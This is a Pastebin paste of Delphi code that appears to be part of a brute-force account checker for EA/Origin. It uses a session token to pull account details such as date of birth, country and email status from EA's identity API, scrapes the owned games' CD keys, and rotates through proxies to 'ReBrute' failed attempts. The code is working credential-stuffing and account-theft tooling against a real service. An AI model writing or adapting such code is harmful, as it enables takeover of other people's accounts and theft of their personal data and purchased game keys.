Advertisement
Guest User

Untitled

a guest
Feb 25th, 2017
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   if HTTP[1].HTTPMethod('GET', 'https://gateway.ea.com/proxy/identity/pids/me') then
  2.                             begin
  3.                               HTML[1].LoadFromStream(HTTP[1].Document);
  4.                               if Pos('pid" : {', HTML[1].text) <> 0 then
  5.                               begin
  6.                                 Helper.CheckTemp[1] := 'Email Status : ' + pars('"emailStatus" : "', HTML[1].text, '",');
  7.                                 Helper.CheckTemp[2] := 'D.O.B : ' + pars('"dob" : "', HTML[1].text, '",');
  8.                                 Helper.CheckTemp[3] := 'Country : ' + pars('"country" : "', HTML[1].text, '');
  9.                                 Helper.CheckTemp[4] := 'Status : ' + pars('"status" : "', HTML[1].text, '",');
  10.                                 Helper.CheckTemp[5] := 'Last Auth : ' + pars('"lastAuthDate" : "', HTML[1].text, 'z",');
  11.                                 Helper.CheckTemp[6] := pars('"pidId" : ', HTML[1].text, ',');
  12.                                 HTTP[1].Headers.Clear;
  13.                                 HTTP[1].Document.Clear;
  14.                                 HTTP[1].AddPortNumberToHost := false;
  15.                                 HTTP[1].Protocol := '1.1';
  16.                                 POST[1].Clear;
  17.                                 HTTP[1].Headers.Add('Accept-Encoding: gzip, deflate');
  18.                                 http[1].UserAgent := 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36';
  19.                                 HTTP[1].Headers.add('AuthToken: ' + Helper.TokenTemp[2]);
  20.                                 if HTTP[1].HTTPMethod('GET', 'https://ecommerce2.dm.origin.com/ecommerce2/basegames/' + Helper.CheckTemp[6]) then
  21.                                 begin
  22.  
  23.                                   HTML[1].LoadFromStream(http[1].document);
  24.                                   if Pos('<displayName>', HTML[1].text) <> 0 then
  25.                                   begin
  26.                                     PUBData[1] := TStringList.Create;
  27.                                     Rexp[1] := TRegExpr.Create;
  28.                                     Rexp[1].Expression := '<displayName>(.*?)</displayName>.*?<cdKey>(.*?)</cdKey>';
  29.                                     if Rexp[1].Exec(html[1].Text) then
  30.                                       repeat
  31.                                         PUBData[1].Add(Rexp[1].Match[1] + '|' + Rexp[1].Match[2]);
  32.                                       until not Rexp[1].Execnext;
  33.                                     Rexp[1].Free;
  34.                                     Helper.CheckTemp[7] := 'Count Games : ' + IntTostr(PUBData[1].count);
  35.  
  36.                                   end
  37.                                   else
  38.                                   begin
  39.                                     PUBData[1].Text := 'No Games';
  40.  
  41.                                   end;
  42.                                   Valid := 1;
  43.  
  44.                                 end
  45.                                 else
  46.                                 begin
  47.                                   Valid := 0;
  48.                                 end;
  49.                               end
  50.                               else
  51.                               begin
  52.                                 Valid := 0;
  53.                               end;
  54.                             end
  55.                             else
  56.                             begin
  57.                               Valid := 0;
  58.                             end;
  59.                           end
  60.                           else
  61.                           begin
  62.                             Valid := 0;
  63.                           end;
  64.                         end
  65.                         else
  66.                         begin
  67.                           Valid := 0;
  68.                         end;
  69.                       end
  70.                       else
  71.                       begin
  72.                         Valid := 0;
  73.                       end;
  74.                     end
  75.                     else
  76.                     begin
  77.                       Valid := 0;
  78.                     end;
  79.  
  80.                   end
  81.                   else
  82.                   begin
  83.                     Valid := 2;
  84.                   end;
  85.  
  86.                 end
  87.                 else
  88.                 begin
  89.                   Valid := 0;
  90.                 end;
  91.               end
  92.               else
  93.               begin
  94.                 Valid := 0;
  95.               end;
  96.  
  97.             end
  98.             else
  99.             begin
  100.               Valid := 0;
  101.             end;
  102.           end
  103.           else
  104.           begin
  105.             Valid := 0;
  106.           end;
  107.  
  108.         end
  109.         else
  110.         begin
  111.           Valid := 0;
  112.         end;
  113.       end
  114.       else
  115.       begin
  116.         Valid := 0;
  117.       end;
  118.  
  119.     end
  120.     else
  121.     begin
  122.       Valid := 0;
  123.     end;
  124.   end
  125.   else
  126.   begin
  127.     Valid := 0;
  128.   end;
  129.        Synchronize(Sync);
  130.   if Valid = 0 then
  131.   begin
  132.     POST[1].Clear; // Очищаем переменные.
  133.     HTML[1].Clear;
  134.     HTTP[1].Clear;
  135.     Synchronize(Sync);
  136.     Inc(Integers[1]); // Увеличиваем тот самый индекс который нам передали при создании берем след прокси.
  137.     if Integers[1] >= ProxyList.Count - 1 then
  138.       Integers[1] := 0; // Если вылетели за пределы массива то с 0.
  139.     goto ReBrute;
  140.   end;
  141.  
  142.  
  143.   POST[1].Free; // Освобождаем переменные.
  144.   HTML[1].Free;
  145.   HTTP[1].Free;
  146.  // Выводим гуд или бед.
  147.   Synchronize(DecThread); // Сообщаем о своей смерти давая место след потоку.
  148. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement